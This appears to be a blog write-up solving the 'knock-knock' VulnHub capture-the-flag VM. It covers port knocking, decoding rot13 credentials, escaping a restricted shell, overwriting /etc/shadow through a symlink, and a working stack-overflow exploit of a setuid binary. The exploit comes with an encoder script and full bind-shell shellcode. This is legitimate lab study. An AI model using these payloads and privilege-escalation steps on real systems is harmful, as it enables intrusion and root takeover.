staring into /dev/null

barrebas

Knock-knock-knocking on Root’s Door

Near the end of ASIS CTF, in which vulnhub-ctf took part, zer0w1re decided to release his first VM called knock-knock! Naturally, I had to download it and give it a shot :)

The name already gives a big hint. I supposed I had to deal with a port-knocking deamon like knockd. I opened the ova in VirtualBox and booted the virtual machine. I ran a ping scan with nmap and then a normal scan.

bas@tritonal:~$ sudo nmap 10.8.7.101 -sS -p- -T4
Starting Nmap 6.00 ( http://nmap.org ) at 2014-10-14 21:27 CEST

Nmap scan report for 10.8.7.101
Host is up (0.00052s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE
1337/tcp open  waste
MAC Address: 08:00:27:BE:DD:C8 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 143.73 seconds

The scan took ages to complete, but did give me exactly one port to connect to. If that isn’t a clear path, then I don’t know what is. Connecting to 1337 with nc returns a list of three numbers. Not just any kind of numbers, no! They had to be port numbers. Let the knocking commence! I whipped up a small Python script to automate it:

#!/usr/bin/python

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('10.8.7.101', 1337))

data = s.recv(256)
data = data.replace(',','')
ports = data[1:-2].split()

try:
    print 'port: {}'.format(ports[0])
    a = socket(AF_INET, SOCK_STREAM)
    a.connect(('10.8.7.101', int(ports[0])))
except:
    pass
try:
    print 'port: {}'.format(ports[1])
    b = socket(AF_INET, SOCK_STREAM)
    b.connect(('10.8.7.101', int(ports[1])))
except:
    pass
try:
    print 'port: {}'.format(ports[2])
    c = socket(AF_INET, SOCK_STREAM)
    c.connect(('10.8.7.101', int(ports[2])))
except:
    pass

Probably not the most elegant way of doing it, but I was still in a CTF mindset ;) I ran the script and then nmap again, but found that nothing had happened! What could be going on here? I tried to debug script a bit, added the try/except blocks to make it robust, but I couldn’t figure out why it wasn’t working. Maybe not all of the knocks were getting through? I decided to run the script continuously:

bas@tritonal:~$ while [[ 1 ]]; do python ./knock.py; done
port: 37586
port: 25290
port: 48122
port: 16312
port: 44654
port: 25600
port: 53987
port: 55993
<snip>

After a while, I ran nmap for the umpthieth time and lo and behold, ssh and http were open! Later, when I rooted the box, I had a look at the script that sets up the port knocking. It randomizes the port order, so there’s a one in six chance that my script gets it right. I modified it so that it completes the port-knocking every time:

#!/usr/bin/python

from socket import *
import itertools

def knock(ports):
    try:
        print 'port: {}'.format(ports[0])
        a = socket(AF_INET, SOCK_STREAM)
        a.connect(('10.8.7.101', int(ports[0])))
    except:
        pass
    try:
        print 'port: {}'.format(ports[1])
        b = socket(AF_INET, SOCK_STREAM)
        b.connect(('10.8.7.101', int(ports[1])))
    except:
        pass
    try:
        print 'port: {}'.format(ports[2])
        c = socket(AF_INET, SOCK_STREAM)
        c.connect(('10.8.7.101', int(ports[2])))
    except:
        pass

s = socket(AF_INET, SOCK_STREAM)
s.connect(('10.8.7.101', 1337))

data = s.recv(256)
data = data.replace(',','')
ports = data[1:-2].split()

for portlist in itertools.permutations(ports):
    knock(portlist)
bas@tritonal:~$ sudo nmap 10.8.7.101 -sS -T4 -p1-100

Starting Nmap 6.00 ( http://nmap.org ) at 2014-10-14 21:35 CEST
Nmap scan report for 10.8.7.101
Host is up (0.00043s latency).
Not shown: 98 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:BE:DD:C8 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds

I had no credentials for ssh so I fired up a browser and pointed it at 10.8.7.101. I also started dirbuster just in case.

Not much was on that webpage, not even in the source. I grabbed the image and poked at it using stego tools such as stepic and outguess, which came up negative. A quick strings on the jpg revealed something much more interesting:

bas@tritonal:~$ strings knockknock.jpg
<snip>
CN=i
\,mk
1W}R
LUv*
\Uv*
*M1W
tR)O
MO:/?
qW|U
\+\U
Login Credentials
abfnW
sax2Cw9Ow

I figured that it was worth a shot, even though the credentials looked weird. Needless to say, they didn’t work. I switched them around as well but no luck. The strings looked mangled, so what could have been done to them? rot13 maybe? Indeed, after dumping the strings in rot13.com, I got something that resembled a user name: nosaJ, which is Jason reversed. The same was done for the password and the combination that let me in was jason:jB9jP2knf. I could ssh in and was presented with a shell! I pressed ‘up’ to view the command history, but .bash_history was symlinked to /dev/null. I fixed that and went on. ls -alh showed a setuid binary called tfc. Owned by root, I might add! Turns out that jason actually has a restricted bash, but that was quickly solved using nice /bin/bash (after Persistence, I learned four more ways of escaping rbash ;)).

Looking at this tfc binary, it seems that it is a “tiny file crypter”. Playing around with it, I was able to encrypt a file and decrypt it again. This meant that it was doing some kind of symmetrical encryption.

jason@knockknock:~$ ./tfc
_______________________________  
\__    ___/\_   _____/\_   ___ \ 
  |    |    |    __)  /    \  \/ 
  |    |    |     \   \     \____
  |____|    \___  /    \______  /
                \/            \/ 

    Tiny File Crypter - 1.0

Usage: ./tfc <filein.tfc> <fileout.tfc>

When I downloaded the first public version of this VM, tfc still allowed symlinks. It wanted the filenames to end with .tfc, so I made a symlink to /etc/shadow, used that as input for tfc, decrypted it to get the shadow file. I then copied the line containing the hash of jason’s password and overwrote the line for root. Reversing the process again overwrote /etc/shadow and I had root! However, this was not intended and zer0w1re released a fixed version…

So I had to exploit tfc the proper way. Now, this binary was made by c0ne, so I was in for a treat! I first gave it a huge input file:

jason@knockknock:~$ python -c 'print "A"*10000' > in.tfc 
jason@knockknock:~$ ./tfc ./in.tfc out.tfc
Segmentation fault

Well, well, well, a segfault! This looked promising. Unfortunately, gdb was not installed on this VM, so I transferred the binary over to my box and repeated the process.

bas@tritonal:~/tmp/knockknock$ python -c 'print "A"*10000' > in.tfc
bas@tritonal:~/tmp/knockknock$ ulimit -c unlimited
bas@tritonal:~/tmp/knockknock$ ./tfc in.tfc out.tfc
Segmentation fault (core dumped)

bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Program terminated with signal 11, Segmentation fault.
#0  0x0675c916 in ?? ()
gdb-peda$

Hmm. So we have a segfault, but eip is not overwritten by 0x41414141. Something funky is going on! I assumed eip was being overwritten by the encrypted bytes, so I needed to first encrypt my payload before tfc would process it and decrypt it again. Over at #vulnhub, recrudesce dropped a nice link for an online disassembler. I decided that this was a nice moment to give the Retargetable Decompiler a spin! I uploaded the binary and using the output and objdump, I started analyzing the binary.

It boils down to this: the binary takes an input file, read it four bytes at a time, and encrypts it using the xcrypt function. For the next four bytes, it shuffles the XOR key around. It loops until there are less than four bytes remaining, which are also encrypted. I decided to rip and copy this decompiled C code as much as possible. I have changed the names of the variables a bit:

int32_t xcrypt(int32_t * a1_buffer, uint32_t a2_buffersize) {
    int32_t * v1_buffer = (int32_t *)*a1_buffer;
    int32_t v2 = -0x15e54e61;
    
    if (a2_buffersize >= 4) {
        int32_t * v3_buffer = v1_buffer;
        int32_t v4_index = 0;
        int32_t v5_xor = -0x15e54e61;
        while (true) {
            // 0x8048634
            v3_buffer[v4_index] ^= v5_xor;
            
            uint32_t v6_xor = v5_xor;
            // branch -> 0x8048662
            int32_t v7_temp; // 0x804866f
            
            /* change v6_xor */
            for (uint32_t i = 0; i < 8; i++) {
                uint32_t v8 = v6_xor / 2; // 0x8048678
                v7_temp_xor = v6_xor % 2 == 0 ? v8 : v8 ^ 0x6daa1cf4;
                // PHI copies at the loop end
                v6_xor = v7_temp_xor;
                // loop 0x8048662 end
            }
            
            int32_t v9_indexplusone = v4_index + 1; // 0x8048685
            if (a2_buffersize / 4 > v9_indexplusone) {
                // 0x8048685
                v3_buffer = v1_buffer;
                v4_index = v9_index;
                v5_xor = v7_temp_xor;
                // branch -> 0x8048634
                continue;
            } else {
                v2_xor = v7_temp_xor;
            }
        }
    }
    
    int32_t v10 = a2_buffersize % 4; // 0x80486d7
    if (v10 == 0) {
        // 0x80486df
        return 0;
    }
    
    /* encrypt last bytes, but lets assume our sploit will be 4 byte aligned */

I wrote a very, very ugly piece of Python do the encryption for me:

#!/usr/bin/python
import struct

with open('in.tfc') as f:
    data = f.read()
    f.close()
    
    xorkey = -0x15e54e61
    
    output = ''
    
    for i in range(len(data)/4):
        block = data[i*4:(i+1)*4]
        int_block = struct.unpack('<i', block)
        output += (struct.pack('i', (int_block[0] ^ xorkey)))
        
        for z in range(8):
            v8 = int(int(xorkey / 2) & 0x7fffffff) # not sure why 0x7fff.. i.o. 0xffff
            if (xorkey % 2 == 0): 
                v7 = v8
            else:
                v7 = v8 ^ 0x6daa1cf4
            xorkey = v7

    with open('out2.tfc', 'w') as f:
        f.write(output)
        f.close()

Like I said, a CTF mindset and some very ugly Python code, but I was now able to encode my payload (updated version at end of post). I gave it a spin:

bas@tritonal:~/tmp/knockknock$ python -c 'print "A"*5000' > in.tfc
bas@tritonal:~/tmp/knockknock$ python ./enc.py
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc bleh.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Core was generated by './tfc out2.tfc bleh.tfc'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$

Yeah! I was able to overwrite eip! I narrowed down the buffer and determined which part was responsible for overwriting eip by trial-and-error and looking at the stack in the coredump. I finally found:

bas@tritonal:~$ python -c 'print "A"*4124+"B"*4+"C"*4' > in.tfc && python ./enc.py 
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc bleh.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled
gdb-peda$ q
bas@tritonal:~/tmp/knockknock$ readelf -l tfc

Elf file type is EXEC (Executable file)
Entry point 0x8048500
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00c48 0x00c48 R E 0x1000
  LOAD           0x000c48 0x08049c48 0x08049c48 0x00250 0x00254 RW  0x1000
  DYNAMIC        0x000c54 0x08049c54 0x08049c54 0x000f0 0x000f0 RW  0x4
  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000b54 0x08048b54 0x08048b54 0x00034 0x00034 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
<snip>

Okay, great. The stack is executable so I could stash the shellcode there. ASLR on the remote machine was enabled, so all I needed was a jmp esp to jump to the shellcode. I found one conveniently located in the binary, but I really had to dig:

gdb-peda$ b main
Breakpoint 1 at 0x8048927
gdb-peda$ r
<snip>
Breakpoint 1, 0x08048927 in main ()
gdb-peda$ find "\xff\xe4" all
Searching for '\xff\xe4' in: all ranges
Found 96 results, display max 96 items:
       tfc : 0x8048e93 --> 0xe4ff
       tfc : 0x8049e93 --> 0xe4ff 
      libc : 0xf7e18a85 --> 0x7f1be4ff 
      libc : 0xf7e4fdad (jmp    esp)
      libc : 0xf7f6deb3 --> 0xffffe4ff 
<snip>
gdb-peda$ x/i 0x8048e93
   0x8048e93:   jmp    esp

With that hurdle taken, I first verified the exploit by making the shellcode a bunch of int 3s. This made tfc crash with SIGTRAP, confirming that it worked. I used bind@64533, my favorite shellcode. Finally, my exploit looked like this:

python -c 'print "A"*4124+ # filler
   "\x93\x9e\x04\x08"+    # overwrite eip
   "\x83\xec\x7f" +       # sub esp, 127 to reserve stack space, followed by the shellcode
   "\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"+
   "AAAAAAAAAAAAAAAAAAA"  # some padding
   ' > in.tfc && python ./enc.py

This generated the file out2.tfc. I verified the exploit locally, after which I transferred it over to knock-knock. I ran the exploit and connected to localhost:64533 with my fingers crossed:

jason@knockknock:~$ xxd sploit.tfc |head
0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c  ).Aotg.\!.E?...l
0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979  +..B..$f5%..&..y
0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77  ..|S[I;R...+T..w
0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727  ...$...7..?i..w'
0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41  ..3...s<A..^..^A
0000060: 9a35 9167 ccf8 1f00 a809 c919 309d c241  .5.g........0..A
0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00  .z |..we.rt...o.
0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245  .7...l.a.n.8...E
0000090: c7e6 f342 abc1 9363 504c af0b 199e d551  ...B...cPL.....Q
jason@knockknock:~$ 
jason@knockknock:~$ 
jason@knockknock:~$ ./tfc sploit.tfc bleh.tfc &
[1] 3578
jason@knockknock:~$ nc localhost 64533
id
uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason)
whoami
root

From here, I could view the flag:

Game over!

Or was it? leonjza came up with a nice idea, why not use the core dump instead to extract the encrypted payload? I spent some time and came up with the following bash script. It abuses the fact that the encrypted file will start with the same bytes every time. This script generates the exact same payload as before:

I will leave a ROP exploit ‘as an exercise to the reader’ :) knock-knock was a fun VM and so thanks to zer0w1re and c0ne!

Updated enc.py, contained another error but should be fixed now:

#!/usr/bin/python
import struct, sys


def xcrypt(infile, outfile):
    with open(infile) as f:
        data = f.read()
        f.close()

    xor_key = 0xea1ab19f 
    
    output = ''
    
    for i in range(len(data)/4):
        block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
        output += struct.pack( '<L', (block ^ xor_key) )
        
        for n in range(8):
            temp_xor_key = xor_key >> 1
            if (xor_key & 1):
                temp_xor_key ^= 0x6daa1cf4
            xor_key = temp_xor_key
        
        with open(outfile, 'wb') as f:
            f.write(output)
            f.close
            
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: {} <infile> <outfile>'.format(sys.argv[0])
        exit(1)
    
    xcrypt(sys.argv[1], sys.argv[2])

Comments